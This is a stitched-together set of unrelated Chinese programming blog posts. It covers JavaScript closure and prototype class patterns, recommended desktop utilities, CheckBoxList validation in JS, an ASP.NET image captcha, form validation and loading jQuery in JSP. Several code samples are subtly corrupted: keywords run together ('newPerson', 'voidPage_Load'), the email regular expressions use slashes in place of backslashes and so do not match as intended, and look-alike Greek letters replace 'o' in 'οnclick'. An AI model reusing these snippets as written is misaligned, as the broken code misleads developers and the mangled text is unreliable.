    这段代码就是给内置String函数的prototype扩展了一个trim方法,于是所有的String类对象都有了trim方法了。有了这个扩展,今后要去除字符串两段的空白,就不用再分别处理了,因为任何字符串都有了这个扩展功能,只要调用即可,真的很方便。

    当然,几乎很少有人去给Object的prototype添加方法,因为那会影响到所有的对象,除非在你的架构中这种方法的确是所有对象都需要的。

    前两年,微软在设计AJAX类库的初期,用了一种被称为“闭包”(closure)的技术来模拟“类”。其大致模型如下:

    function Person(firstName, lastName, age)
    {
    //私有变量:
    var _firstName =firstName;
    var _lastName =lastName;

    //公共变量:
    this.age = age;

    //方法:
    this.getName = function()
    {
    return(firstName + "" + lastName);
    };
    this.SayHello = function()
    {
    alert("Hello, I'm " + firstName + " " + lastName);
    };
    };

    var BillGates = newPerson("Bill", "Gates", 53);
    var SteveJobs = newPerson("Steve", "Jobs", 53);

    BillGates.SayHello();
    SteveJobs.SayHello();
    alert(BillGates.getName() + " " + BillGates.age);
    alert(BillGates.firstName); //这里不能访问到私有变量


    很显然,这种模型的类描述特别象C#语言的描述形式,在一个构造函数里依次定义了私有成员、公共属性和可用的方法,显得非常优雅嘛。特别是“闭包”机制可以模拟对私有成员的保护机制,做得非常漂亮。

    所谓的“闭包”,就是在构造函数体内定义另外的函数作为目标对象的方法函数,而这个对象的方法函数反过来引用外层外层函数体中的临时变量。这使得只要目标对象在生存期内始终能保持其方法,就能间接保持原构造函数体当时用到的临时变量值。尽管最开始的构造函数调用已经结束,临时变量的名称也都消失了,但在目标对象的方法内却始终能引用到该变量的值,而且该值只能通这种方法来访问。即使再次调用相同的构造函数,但只会生成新对象和方法,新的临时变量只是对应新的值,和上次那次调用的是各自独立的。的确很巧妙!

    但是前面我们说过,给每一个对象设置一份方法是一种很大的浪费。还有,“闭包”这种间接保持变量值的机制,往往会给JavaSript的垃圾回收器制造难题。特别是遇到对象间复杂的循环引用时,垃圾回收的判断逻辑非常复杂。无独有偶,IE浏览器早期版本确实存在JavaSript垃圾回收方面的内存泄漏问题。再加上“闭包”模型在性能测试方面的表现不佳,微软最终放弃了“闭包”模型,而改用“原型”模型。正所谓“有得必有失”嘛。

    原型模型需要一个构造函数来定义对象的成员,而方法却依附在该构造函数的原型上。大致写法如下:

    //定义构造函数
    function Person(name)
    {
    this.name = name; //在构造函数中定义成员
    };

    //方法定义到构造函数的prototype上
    Person.prototype.SayHello = function()
    {
    alert("Hello, I'm " + this.name);
    };

    //子类构造函数
    function Employee(name,salary)
    {
    Person.call(this, name); //调用上层构造函数
    this.salary = salary; //扩展的成员
    };

    //子类构造函数首先需要用上层构造函数来建立prototype对象,实现继承的概念
    Employee.prototype = new Person() //只需要其prototype的方法,此对象的成员没有任何意义!

    //子类方法也定义到构造函数之上
    Employee.prototype.ShowMeTheMoney = function()
    {
    alert(this.name + "$" + this.salary);
    };

    var BillGates = new Person("BillGates");
    BillGates.SayHello();

    var SteveJobs = new Employee("SteveJobs", 1234);
    SteveJobs.SayHello();
    SteveJobs.ShowMeTheMoney();

    原型类模型虽然不能模拟真正的私有变量,而且也要分两部分来定义类,显得不怎么“优雅”。不过,对象间的方法是共享的,不会遇到垃圾回收问题,而且性能优于“闭包”模型。正所谓“有失必有得”嘛。

    在原型模型中,为了实现类继承,必须首先将子类构造函数的prototype设置为一个父类的对象实例。创建这个父类对象实例的目的就是为了构成原型链,以起到共享上层原型方法作用。但创建这个实例对象时,上层构造函数也会给它设置对象成员,这些对象成员对于继承来说是没有意义的。虽然,我们也没有给构造函数传递参数,但确实创建了若干没有用的成员,尽管其值是undefined,这也是一种浪费啊。

    唉!世界上没有完美的事情啊!

    原型真谛

    正当我们感概万分时,天空中一道红光闪过,祥云中出现了观音菩萨。只见她手持玉净瓶,轻拂翠柳枝,洒下几滴甘露,顿时让JavaScript又添新的灵气。

    观音洒下的甘露在JavaScript的世界里凝结成块,成为了一种称为“语法甘露”的东西。这种语法甘露可以让我们编写的代码看起来更象对象语言。

    要想知道这“语法甘露”为何物,就请君侧耳细听。

    在理解这些语法甘露之前,我们需要重新再回顾一下JavaScript构造对象的过程。

    我们已经知道,用 var anObject = new aFunction() 形式创建对象的过程实际上可以分为三步:第一步是建立一个新对象;第二步将该对象内置的原型对象设置为构造函数prototype引用的那个原型对象;第三步就是将该对象作为this参数调用构造函数,完成成员设置等初始化工作。对象建立之后,对象上的任何访问和操作都只与对象自身及其原型链上的那串对象有关,与构造函数再扯不上关系了。换句话说,构造函数只是在创建对象时起到介绍原型对象和初始化对象两个作用。

    那么,我们能否自己定义一个对象来当作原型,并在这个原型上描述类,然后将这个原型设置给新创建的对象,将其当作对象的类呢?我们又能否将这个原型中的一个方法当作构造函数,去初始化新建的对象呢?例如,我们定义这样一个原型对象:

    var Person = //定义一个对象来作为原型类
    {
    Create: function(name, age) //这个当构造函数
    {
    this.name = name;
    this.age = age;
    },
    SayHello: function() //定义方法
    {
    alert("Hello, I'm " + this.name);
    },
    HowOld: function() //定义方法
    {
    alert(this.name + " is" + this.age + " yearsold.");
    }
    };

    这个JSON形式的写法多么象一个C#的类啊!既有构造函数,又有各种方法。如果可以用某种形式来创建对象,并将对象的内置的原型设置为上面这个“类”对象,不就相当于创建该类的对象了吗?

    但遗憾的是,我们几乎不能访问到对象内置的原型属性!尽管有些浏览器可以访问到对象的内置原型,但这样做的话就只能限定了用户必须使用那种浏览器。这也几乎不可行。

    那么,我们可不可以通过一个函数对象来做媒介,利用该函数对象的prototype属性来中转这个原型,并用new操作符传递给新建的对象呢?

    其实,象这样的代码就可以实现这一目标:

    function anyfunc(){}; //定义一个函数躯壳
    anyfunc.prototype = Person; //将原型对象放到中转站prototype
    var BillGates = new anyfunc(); //新建对象的内置原型将是我们期望的原型对象

    不过,这个anyfunc函数只是一个躯壳,在使用过这个躯壳之后它就成了多余的东西了,而且这和直接使用构造函数来创建对象也没啥不同,有点不爽。

    可是,如果我们将这些代码写成一个通用函数,而那个函数躯壳也就成了函数内的函数,这个内部函数不就可以在外层函数退出作用域后自动消亡吗?而且,我们可以将原型对象作为通用函数的参数,让通用函数返回创建的对象。我们需要的就是下面这个形式:

    function New(aClass, aParams) //通用创建函数
    {
    function new_() //定义临时的中转函数壳
    {
    aClass.Create.apply(this,aParams); //调用原型中定义的的构造函数,中转构造逻辑及构造参数
    };
    new_.prototype = aClass; //准备中转原型对象
    return new new_(); //返回建立最终建立的对象
    };

    var Person = //定义的类
    {
    Create: function(name, age)
    {
    this.name = name;
    this.age = age;
    },
    SayHello: function()
    {
    alert("Hello, I'm " + this.name);
    },
    HowOld: function()
    {
    alert(this.name + " is" + this.age + " yearsold.");
    }
    };

    var BillGates =New(Person, ["Bill Gates", 53]); //调用通用函数创建对象,并以数组形式传递构造参数
    BillGates.SayHello();
    BillGates.HowOld();

    alert(BillGates.constructor == Object); //输出:true

    这里的通用函数New()就是一个“语法甘露”!这个语法甘露不但中转了原型对象,还中转了构造函数逻辑及构造参数。

    有趣的是,每次创建完对象退出New函数作用域时,临时的new_函数对象会被自动释放。由于new_的prototype属性被设置为新的原型对象,其原来的原型对象和new_之间就已解开了引用链,临时函数及其原来的原型对象都会被正确回收了。上面代码的最后一句证明,新创建的对象的constructor属性返回的是Object函数。其实新建的对象自己及其原型里没有constructor属性,那返回的只是最顶层原型对象的构造函数,即Object。

    有了New这个语法甘露,类的定义就很像C#那些静态对象语言的形式了,这样的代码显得多么文静而优雅啊!

    当然,这个代码仅仅展示了“语法甘露”的概念。我们还需要多一些的语法甘露,才能实现用简洁而优雅的代码书写类层次及其继承关系。好了,我们再来看一个更丰富的示例吧:

    //语法甘露:
    var object = //定义小写的object基本类,用于实现最基础的方法等
    {
    isA: function(aType) //一个判断类与类之间以及对象与类之间关系的基础方法
    {
    var self = this;
    while(self)
    {
    if (self == aType)
    return true;
    self = self.Type;
    };
    return false;
    }
    };

    function Class(aBaseClass,aClassDefine) //创建类的函数,用于声明类及继承关系
    {
    function class_() //创建类的临时函数壳
    {
    this.Type = aBaseClass; //我们给每一个类约定一个Type属性,引用其继承的类
    for(var member in aClassDefine)
    this[member] =aClassDefine[member]; //复制类的全部定义到当前创建的类
    };
    class_.prototype = aBaseClass;
    return new class_();
    };

    function New(aClass, aParams)//创建对象的函数,用于任意类的对象创建
    {
    function new_() //创建对象的临时函数壳
    {
    this.Type = aClass; //我们也给每一个对象约定一个Type属性,据此可以访问到对象所属的类
    if (aClass.Create)
    aClass.Create.apply(this,aParams); //我们约定所有类的构造函数都叫Create,这和DELPHI比较相似
    };
    new_.prototype = aClass;
    return new new_();
    };

    //语法甘露的应用效果:
    var Person =Class(object, //派生至object基本类
    {
    Create: function(name, age)
    {
    this.name = name;
    this.age = age;
    },
    SayHello: function()
    {
    alert("Hello, I'm " + this.name + ", " + this.age + " years old.");
    }
    });

    var Employee =Class(Person, //派生至Person类,是不是和一般对象语言很相似?
    {
    Create: function(name, age, salary)
    {
    Person.Create.call(this,name, age); //调用基类的构造函数
    this.salary = salary;
    },
    ShowMeTheMoney: function()
    {
    alert(this.name + "$" + this.salary);
    }
    });

    var BillGates =New(Person, ["Bill Gates", 53]);
    var SteveJobs =New(Employee, ["Steve Jobs", 53, 1234]);
    BillGates.SayHello();
    SteveJobs.SayHello();
    SteveJobs.ShowMeTheMoney();

    var LittleBill =New(BillGates.Type, ["Little Bill", 6]); //根据BillGate的类型创建LittleBill
    LittleBill.SayHello();

    alert(BillGates.isA(Person)); //true
    alert(BillGates.isA(Employee)); //false
    alert(SteveJobs.isA(Person)); //true
    alert(Person.isA(Employee)); //false
    alert(Employee.isA(Person)); //true

    “语法甘露”不用太多,只要那么一点点,就能改观整个代码的易读性和流畅性,从而让代码显得更优雅。有了这些语法甘露,JavaScript就很像一般对象语言了,写起代码了感觉也就爽多了!

    令人高兴的是,受这些甘露滋养的JavaScript程序效率会更高。因为其原型对象里既没有了毫无用处的那些对象级的成员,而且还不存在constructor属性体,少了与构造函数间的牵连,但依旧保持了方法的共享性。这让JavaScript在追溯原型链和搜索属性及方法时,少费许多工夫啊。

    我们就把这种形式称为“甘露模型”吧!其实,这种“甘露模型”的原型用法才是符合prototype概念的本意,才是的JavaScript原型的真谛!

    想必微软那些设计AJAX架构的工程师看到这个甘露模型时,肯定后悔没有早点把AJAX部门从美国搬到咱中国的观音庙来,错过了观音菩萨的点化。当然,我们也只能是在代码的示例中,把Bill Gates当作对象玩玩,真要让他放弃上帝转而皈依我佛肯定是不容易的,机缘未到啊!如果哪天你在微软新出的AJAX类库中看到这种甘露模型,那才是真正的缘分!

    编程的快乐

    在软件工业迅猛发展的今天,各式各样的编程语言层出不穷,新语言的诞生,旧语言的演化,似乎已经让我们眼花缭乱。为了适应面向对象编程的潮流,JavaScript语言也在向完全面向对象的方向发展,新的JavaScript标准已经从语义上扩展了许多面向对象的新元素。与此相反的是,许多静态的对象语言也在向JavaScript的那种简洁而幽雅的方向发展。例如,新版本的C#语言就吸收了JSON那样的简洁表示法,以及一些其他形式的JavaScript特性。

    我们应该看到,随着RIA(强互联应用)的发展和普及,AJAX技术也将逐渐淡出江湖,JavaScript也将最终消失或演化成其他形式的语言。但不管编程语言如何发展和演化,编程世界永远都会在“数据”与“代码”这千丝万缕的纠缠中保持着无限的生机。只要我们能看透这一点,我们就能很容易地学习和理解软件世界的各种新事物。不管是已熟悉的过程式编程,还是正在发展的函数式编程,以及未来量子纠缠态的大规模并行式编程,我们都有足够的法力来化解一切复杂的难题。

    佛最后淡淡地说:只要我们放下那些表面的“类”,放下那些对象的“自我”,就能达到一种“对象本无根,类型亦无形”的境界,从而将自我融入到整个宇宙的生命轮循环中。我们将没有自我,也没有自私的欲望,你就是我,我就是你,你中有我,我中有你。这时,我们再看这生机勃勃的编程世界时,我们的内心将自然生起无限的慈爱之心,这种慈爱之心不是虚伪而是真诚的。关爱他人就是关爱自己,就是关爱这世界中的一切。那么,我们的心是永远快乐的,我们的程序是永远快乐的,我们的类是永远快乐的,我们的对象也是永远快乐的。这就是编程的极乐!

    说到这里,在座的比丘都犹如醍醐灌顶,心中豁然开朗。看看左边这位早已喜不自禁,再看看右边那位也是心花怒放。

    蓦然回首时,唯见君拈花微笑...

    ____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    分享我常使用的辅助软件

    以前在园子里看过不少介绍我们开发常用的专业软件比如:新.net开发十大必备工具.NET 程序员十种必备工具。今天我不是想来介绍这些专业软件,我是想介绍一些开发时经常会用到的辅助软件,以帮助我们完成更好的开发。

    我这边推荐的是我常用的辅助软件,可能并不是最好,但是我觉得确实最适合我用的!

    一、浏览器

    推荐:傲游浏览器http://www.maxthon.cn/

    候选推荐:搜狗浏览器,火狐,chrome

    作为程序员上网必备的工具,一个好的浏览器是我们获取资源的不可或缺的帮手,我这边推荐傲游并不是因为傲游有用强大的程序调试或着丰富的插件,而是傲游收藏及日常应用方面。

    傲游的收藏是我觉得比较好的功能,只要注册个账号就可以把本地收藏同步到网络服务器上,在日常上网的过程中,我们经常会看到好的文章想收藏起来,虽然很多网站都提供了收藏功能,但是这个网站收藏是建立在你必须打开这个网站,登录上去才能看到,而且收藏的信息只能是这个网站的(好像有点废话了)。傲游的收藏可以同步,这样就保证了哪怕本机的收藏丢失,也可以通过帐户登录重新找回。

    而且傲游的账户也不仅仅有同步收藏的功能,我们在日常使用的过程中总会有自己的浏览器习惯(常用网站,鼠标手势等),这些习惯如果登录了账户傲游都会帮你记住,我觉得是一个非常人性化的功能。同时傲游作为微软Win7推荐的浏览器,其功能也是可以保证的。

    这边候选的还有搜狗浏览器,火狐,chrome,搜狗虽然说是安全性很高及浏览速度快,但是相比傲游也没多少出色的地方。至于火狐和chrome,这2款肯定是程序员必装的2款,但是我不推荐的原因是因为这2款浏览器本身的功能相比傲游并不强劲,需要靠各种各样的插件来辅助,但是一旦装了各式插件就会导致浏览器启动速度加慢等问题,所以我的建议日常浏览信息用傲游,如果需要进行程序开发才用火狐或chrome。

    二、记事本

    推荐:notepad2http://www.onlinedown.net/soft/31490.htm

    候选推荐:EmEditor,notepad++

    对于我们开发人员来说经常会要进行编写东西,这个时候我们不会打开VS,eclipse这些专业的开发工具,我们会选择记事本这种小巧的工具来进行简单的代码编写,我这边推荐的是notepad2,主要有以下几个理由:

    1、代码高亮,notepad2支持目前所有主流的开发语言,C#、VB.NET、PHP、JSP、HTML等,而且可以自由更改代码高亮的配置

    2、完全替代系统自带记事本,windows自带的记事本功能实在是比较糟糕,仅仅能够提供基本的编辑功能(不愧为记事本),而notepad2可以完美的替换windows默认的记事本(仅有一个执行程序+一个配置文件),不仅因为它拥有系统自带记事本的所有功能,还因为他优越的性能、强大的功能和小巧的体积,例如打开几M甚至更大的文本不会像自带的记事本那样卡死,无法响应等情况、可以使用ctrl+鼠标滚轮进行文本放大缩小等等。

    具体替换方式可以看这里

    3、优秀的文本编辑环境,notepad2不仅仅是提供代码高亮,其文本背景,段落缩进,多编码支持都是程序员日常编写简单代码,简单文本不可缺少的工具。

    但是notepad2还是有缺点的,它不支持代码的自动提示,不过这个也是它的好处,如果要支持代码提示那整个程序的体积也不会那么小巧了。

    除了notepad2,我还推荐了EmEditor,notepad++,EmEditor也在我电脑里装了,虽然可以靠插件来提升其自身的功能(如代码提示,自动完成,HTML预览等等),但是因为插件装多了整个程序启动过慢,而且太多的插件实在是让人“眼花缭乱”。

    而notepad++,功能要比notepad2强大,但是因为功能强大导致其体积大,相关附属程序也多,有点“累赘”的感觉。

    三、搜索工具

    推荐:everythinghttp://dl.pconline.com.cn/html_2/1/93/id=1769&pn=0.html

    候选推荐:windows自带的搜索

    我不太清楚别的开发人员电脑里面有多少东西,但是我很清楚我电脑里有多少东西,整个电脑上百G的空间了堆满了各种各样的东西,如果突然想起来要找个东西又不记得原来放哪了,靠windows自带的搜索工具估计你吃完饭回来还没找出来,就算找出来可能也不是你想要的,这里我就推荐everything,一款非常优秀的搜索工具,同时还很小巧就几百K。

    在每次使用前everything会扫描你整个电脑,将所有数据进行索引更新保存到sqlite数据库中,只要搜索关键字就可以进行全盘扫描(同时还支持正则表达式),几秒内立刻就可以找到你所需要找到的东西。

    同时everything还可以作为一个小型的服务器,你可以把你电脑做为一个服务器,让别人来下载东西。

    虽然everything可以很方便的帮你搜索的符合关键字的文件,但是要搜索文本中的内容,它就办不到了,这时候你需要使用别的工具了。

    体的信息可以到这里查看点我进入

    至于候选推荐的windows自带的搜索我就不介绍了,大家都知道。不过win7的搜索还是很不错的。

    四、思维分析

    推荐:Mindjet MindManagerhttp://www.onlinedown.net/soft/82527.htm

    候选推荐:Visio

    在开发的时候需要长时间的思考,但是思考是一件很费事的事情,很容被打断,被干扰,导致思考得重新来过,同时在思考的时候光凭大脑思考很容易混乱,很多人在这个时候总会将大脑中思考的东西用笔和纸记录下来,虽然起到了辅助思考的作用,但是却因为思考的时候随性而写无法与人交流,这边我就推荐了Mindjet MindManager,这款软件叫思维导图。

    Mindjet MindManager可以很方便的帮助你将思考的信息按照顺序或逻辑记录下来,同时其可以和office进行无缝集成(如word,PowerPoint,Excel,Outlook,Project),进行辅助记录,而且由于是软件,在你通过它来记录你思考的东西时候,都是以图形化进行记录,这样当你思考完后就可以将这个图保存成图片格式与其他人一起沟通了。

    至于候选推荐的Visio,虽然它也可以很容易的帮助我们来进行问题分析,但是操作起来远远没有MindjetMindManager那么简单,Visio过于专业性了。

    五、快捷键工具

    推荐:AutoHotKeyhttp://www.onlinedown.net/soft/39219.htm

    候选推荐:slickrun、Add2Run

    作为一个长期通过键盘工作的程序员,我们总希望能更快速的进行操作,来节省时间,比如我,我更希望通过键盘来完成操作,因为我觉得将双手离开键盘,再通过鼠标来操作有点浪费时间,所以我宁愿在脑子里记一大堆的快捷键,可惜这些快捷键只能在某个软件中适用,而在系统环境下我想快速的打开我经常用的软件就无法实现了,这时我就是用了快捷键软件,这边我推荐的是AutoHotKey,一个通过脚本来实现快捷功能

    (当然它还有其他很强大的功能,我以前写过相关的文章:AutoHotKey-更加快速的操作,使用自己编写脚本让你的鼠标休息下

    AutoHotKey的好处就是可以通过编程的手段来实现许多功能,我可以将许多常用的快捷键都编写好统一放到一个文件里,进行代码编译成exe,在每次开机后进行自己所编写的exe,这样所需要的快捷键都已经潜在运行了,这样我们就可以通过键盘来快速启动程序了(当然我们还可以做其他许多事情)。

    候选推荐的slickrun、Add2Run是2款拥有UI的快捷键设定程序,操作起来更为方便,但是我认为AutoHotKey可以做更多的事,所以推荐AutoHotKey。

    有关slickrun、Add2Run相关的信息可以看:这里

    以上就是我常用的开发辅助软件了,推荐的都是我认为好的,可能与大家想的不同,欢迎大家讨论,介绍下自己常用的辅助软件,分享给其他人!

    ________________________________________________________________________________________________________________________________________________________________net中怎样在前台用JS验证checkboxlist不为空

    2008-9-28 12:48

    提问者:xufeng586

    我有个页面要求的效果是当我点击保存按钮时,会验证我页面的checkboxlist选择是否为空,要是空就给保存,所以想问问大虾们,怎样在.net中 前台用JS验证checkboxlist不为空

    2008-9-28 13:22

    最佳答案

    HTML页面中并没有CheckBoxList控件, 假设你的CheckBoxList的ID为chkList,  那它到客户端的时候就会变成
     
    <table id="chkList" border="0">
     <tr>
      <td><input id="chkList_0" type="checkbox" name="chkList$0" /><label for="chkList_0">1</label></td>
     </tr><tr>
      <td><input id="chkList_1" type="checkbox" name="chkList$1" /><label for="chkList_1">2</label></td>
     </tr><tr>
      <td><input id="chkList_2" type="checkbox" name="chkList$2" /><label for="chkList_2">3</label></td>
     </tr>
    </table>
     
     那么你应该用以下这个函数判断:
     
    function IsListCheck()
    {
       var lst = document.getElementById('<%= chkList.ClientID%>').getElementsByTagName('input');
       var isCheck = false;
       if(lst.length>0) 
         for(var i=0;i<lst.length;i++)
         {
           if(lst[i].checked) isCheck=true;
           continue;
         }
       return isCheck;
    }
    祝你成功。

    _____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    级光棍节,你想好怎么过了吗?来聆听大师的演讲吧 参加浏览器性能挑战赛免费去美国!

    ASP.NET图片验证码的实现

    2011-04-1213:357人阅读评论(0)收藏举报

    ASP.NET 图文 验证码

    虽然我认为图片验证码没有什么用,并且也特别的烦人(每次上移动的网站都要频频地输入验证码),但人家要求,也只好弄一个。

    生成图片验证码页面createImg.aspx,验证页面Default.aspx。

    CreateImg.aspx页面使用的各个函数如下:

    stringgetRandomValidate(int len) 得到随机长度为len的字符串

    drawLine(Graphicsgfc,Bitmap img) 在图片中画底线

    drawPoint(Bitmapimg) 在图片中画杂点(移动画的杂点挺好不错)

    getImageValidate(stringstrValue) 使用getRandomValidate函数返回的字符串生成图片

    其具体实现代码如下所示:

    using System.Drawing;
    using System.IO;

    public partialclass createImg : System.Web.UI.Page
    {
    Random ran = new Random();
    protected voidPage_Load(object sender, EventArgs e)
    {
    string str = getRandomValidate(4);
    Session["check"] = str; //这一步是为了将验证码写入Session,进行验证,不能缺省,也可一使用cookie
    getImageValidate(str);
    }
    //得到随机字符串,长度自己定义
    private string getRandomValidate(int len)
    {
    int num;
    int tem;
    string rtuStr = "";
    for (int i = 0; i < len; i++)
    {
    num = ran.Next();
    /*
    * 这里可以选择生成字符和数字组合的验证码
    */
    tem = num % 10 + '0';//生成数字
    //tem = num % 26 + 'A';//生成字符
    rtuStr += Convert.ToChar(tem).ToString();
    }
    return rtuStr;
    }
    //生成图像
    private void getImageValidate(string strValue)
    {
    //string str = "OO00"; //前两个为字母O,后两个为数字0
    int width = Convert.ToInt32(strValue.Length * 12); //计算图像宽度
    Bitmap img = new Bitmap(width, 23);
    Graphics gfc = Graphics.FromImage(img); //产生Graphics对象,进行画图
    gfc.Clear(Color.White);
    drawLine(gfc, img);
    //写验证码,需要定义Font
    Font font = new Font("arial", 12, FontStyle.Bold);
    System.Drawing.Drawing2D.LinearGradientBrush brush =
    new System.Drawing.Drawing2D.LinearGradientBrush(new Rectangle(0, 0, img.Width,img.Height), Color.DarkOrchid, Color.Blue, 1.5f, true);
    gfc.DrawString(strValue, font, brush, 3, 2);
    drawPoint(img);
    gfc.DrawRectangle(new Pen(Color.DarkBlue), 0, 0, img.Width - 1, img.Height -1);
    //将图像添加到页面
    MemoryStream ms = new MemoryStream();
    img.Save(ms, System.Drawing.Imaging.ImageFormat.Gif);
    //更改Http头
    Response.ClearContent();
    Response.ContentType = "image/gif";
    Response.BinaryWrite(ms.ToArray());
    //Dispose
    gfc.Dispose();
    img.Dispose();
    Response.End();
    }
    private void drawLine(Graphics gfc,Bitmap img)
    {
    //选择画10条线,也可以增加,也可以不要线,只要随机杂点即可
    for (int i = 0; i < 10; i++)
    {
    int x1 = ran.Next(img.Width);
    int y1 = ran.Next(img.Height);
    int x2 = ran.Next(img.Width);
    int y2 = ran.Next(img.Height);
    gfc.DrawLine(new Pen(Color.Silver), x1, y1, x2, y2); //注意画笔一定要浅颜色,否则验证码看不清楚
    }
    }
    private void drawPoint(Bitmap img)
    {
    /*
    //选择画100个点,可以根据实际情况改变
    for (int i = 0; i < 100; i++)
    {
    int x = ran.Next(img.Width);
    int y = ran.Next(img.Height);
    img.SetPixel(x,y,Color.FromArgb(ran.Next()));//杂点颜色随机
    }
    */
    int col = ran.Next();//在一次的图片中杂店颜色相同
    for (int i = 0; i < 100; i++)
    {
    int x = ran.Next(img.Width);
    int y = ran.Next(img.Height);
    img.SetPixel(x, y, Color.FromArgb(col));
    }
    }
    }

    如何使用:

    新建一个页面,至少需要一个文本框、image控件和一个Button控件。需要注意的是要将image控件的imageUrl指定为createImg.aspx,如下所示

    <asp:ImageID="Image1" runat="server"ImageUrl="~/createImg.aspx" />

    其测试就很简单了,就像平时使用Session一样,饿,还记得createImg页面中有一个Session["check"]吗?该页面已经注册了一个会话,那么在Default页面中只需简单的比较以下就可以了。

    protected voidPage_Load(object sender, EventArgs e)
    {
    if (Session["check"] == null)
    message.Text = "sorry,the image is wrong!";
    }
    protected void checkButton_Click(object sender, EventArgs e)
    {
    if (check.Text.ToString() == Session["check"].ToString())
    message.Text = "Yes,you pass it";
    else
    message.Text = "I'm sorry!try again...";
    }

    测试效果如下图所示:

     

    最后结合自己的测试,补充如下:

    要想实现刷新验证码而不刷新整个页面,需要在文件中加入:

     

    <ahref="javascript:ChangeImage();"><span style="color:#0000ff">看不清</span></a>。

     

    然后在<head>里加入如下js代码(当然加在js文件里更好):

     

    function ChangeImage()
    {
    document.getElementById("Image1").src = document.getElementById("Image1").src+'?';
    }

     

    测试效果如下图所示:

     

    _____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

    ASP.NET中如何使用前台和后台验证

    分类: ASP.NET2011-04-1115:30184人阅读评论(0)收藏举报

    最近自学ASP.NET中,遇到一些很基础的问题先记下来,以后也可以复习一下。

    刚看了篇文章,讲了后台验证的必要性(《为什么不能只用前台js验证[必须结合后台验证]》 原文博客:http://www.52rs.net/ArticleView.aspx?gID=ac085c49-339b-4315-9447-98e78ac64ae3),既然有了后台验证,为什么还要进行前台验证,这样做不是让程序更复杂了?这个问题先放着,待深入学习之后慢慢了解。

    开始进入正题。

    前台一般用js验证,比如验证表单的数据:

    <scripttype="text/javascript">
    function checkForm()
    {
    var _uid=document.getElementById("<%=txt_Id.ClientID%>").value;
    var _upwd=document.getElementById("<%=txt_Pwd.ClientID%>").value;
    var _upwdSure=document.getElementById("<%=txt_Pwd_Sure.ClientID%>").value;
    var _uemail=document.getElementById("<%=txt_Email.ClientID%>").value;

    if(_uid =="")
    {
    alert("账号不能为空!");
    return false;
    }
    //验证密码与确认密码是否一致
    if (_upwd != _upwdSure) {
    alert("密码与确认密码不一致");
    return false;

    }
    //验证密码 这里的正则表达式的判断方法跟c#不一样 请注意:/正则表达式 /g g表示全部查找
    var reg = /^[a-zA-Z0-9]{6,20}$/g;
    if (!reg.test(_upwd))
    {
    alert("密码长度必须大于6个字符小于20个字符,只能为英语字、数字,例如:snsn2003等");
    return false;
    }
    //验证电子邮件
    reg = //w+([-+.]/w+)*@/w+([-.]/w+)*/./w+([-.]/w+)*/g;
    if (!reg.test(_uemail))
    {
    alert("请输入有效的邮件地址");
    return false;
    }
    return true;
    }
    </script>

    这段代码写在<head>里,并在相应事件里加上<OnClientClick="returncheckForm()">。这里要说明一下,OnClientClick=""指的是客户端的前台验证方法,后台验证使用οnclick="",比如:<asp:Button runat="server" οnclick="后台方法" onClientClick="reutrn 前台方法()"/>。前台方法必须返回一个true或者false。true会继续执行后台代码;false不会继续执行后台代码。此方法在ff和IE7中测试通过,还有人说ie6不支持此方法,要写成onClientClick="event.returnValue=true"这样才可以,这个没试过,也是从网上看到的,先记在这里,以备日后查看。

    后台验证也大同小异:

    //从前台获取值
    string uid = txt_Id.Text;
    string upwd = txt_Pwd.Text;
    string uemail = txt_Email.Text;
    string upwdSure = txt_Pwd_Sure.Text;

    //--------------------------------------------------------开始验证
    //验证输入是否完整
    if (uid.Length == 0 || upwd.Length == 0 || uemail.Length == 0 ||upwdSure.Length==0)
    {
    Response.Write("<script language='JavaScript'>alert('输入不完整')</script>");
    return;
    }
    //验证密码与确认密码是否一致
    if (!upwd.Equals(upwdSure))
    {
    Response.Write("<script language='JavaScript'>alert('后台验证:密码与确认密码不一致')</script>");
    return;
    }
    //验证电子邮件
    if (!Regex.IsMatch(uemail,@"/w+([-+.]/w+)*@/w+([-.]/w+)*/./w+([-.]/w+)*"))
    {
    Response.Write("<script language='JavaScript'>alert('请输入有效的邮件地址')</script>");
    return;
    }
    //--------------------------------------------------------验证结束

    前后台的验证方法介绍完了,这个例子里面并没有实现图片验证码的功能,所以没有图片验证码的验证,其方法以后会补充。

    希望大家共同学习!

    加油!

    _____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________---光棍节,你想好怎么过了吗?来聆听大师的演讲吧 参加浏览器性能挑战赛免费去美国!

    JSP中如何使用JQuery?

    分类: JQuery2011-04-1321:00352人阅读评论(0)收藏举报

    首先要导入JQuery的包文件,可以在这里下载。

    然后在JSP中引入包:

    viewplaincopy toclipboardprint?

    1. <mce:script src="lib/jquery-1.5.2.js" mce_src="lib/jquery-1.5.2.js" type="text/javascript"></mce:script>

    接下来再引入自己的js:

    viewplaincopy toclipboardprint?

    1. <mce:script src="my.js" mce_src="my.js" type="text/javascript"></mce:script>

    我的my.js文件内容如下:

    viewplaincopy toclipboardprint?

    1. $(document).ready(function() {

    2. $("<div><p>Hello</p></div>").appendTo("body");

    3.  

    4. $("#stop").css("background","yellow");

    5.  

    6. $("li").toggle(

    7. function () {

    8. $(this).css({"list-style-type":"disc", "color":"blue"});

    9. },

    10.function () {

    11.$(this).css({"list-style-type":"disc", "color":"red"});

    12.},

    13.function () {

    14.$(this).css({"list-style-type":"disc", "color":"gray"});

    15.}

    16.);

    17.});

    测试页面MyJQueryTest.html的内容如下:

    viewplaincopy to clipboardprint?

    1. <html xmlns="http://www.w3.org/1999/xhtml">

    2. <head>

    3. <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

    4. <title>My jQuery Test</title>

    5. <mce:script src="lib/jquery-1.5.2.js" mce_src="lib/jquery-1.5.2.js" type="text/javascript"></mce:script>

    6. <mce:script src="my.js" mce_src="my.js" type="text/javascript"></mce:script>

    7. </head>

    8. <body>

    9. <button>Change colors</button>

    10.<br/>

    11.<span>span</span>

    12.<div>div1</div>

    13.<div>div2</div>

    14.<div>div3</div>

    15.<div>div4</div>

    16.<div id="stop">Stop here</div>

    17.<div>div6</div>

    18.<div>div7</div>

    19.<div>div8</div>

    20.<br/>

    21.<ul>

    22.<li>li1</li>

    23.<li>li2</li>

    24.<li>li3</li>

    25.<li>li4</li>

    26.<li>li5</li>

    27.</ul>

    28.</body>

    29.</html>

    运行效果如下:

    前:

    后:

    最后值得注意的是,JQuery的包文件的引入必须在js引入的前面,不然JQuery没有效果。

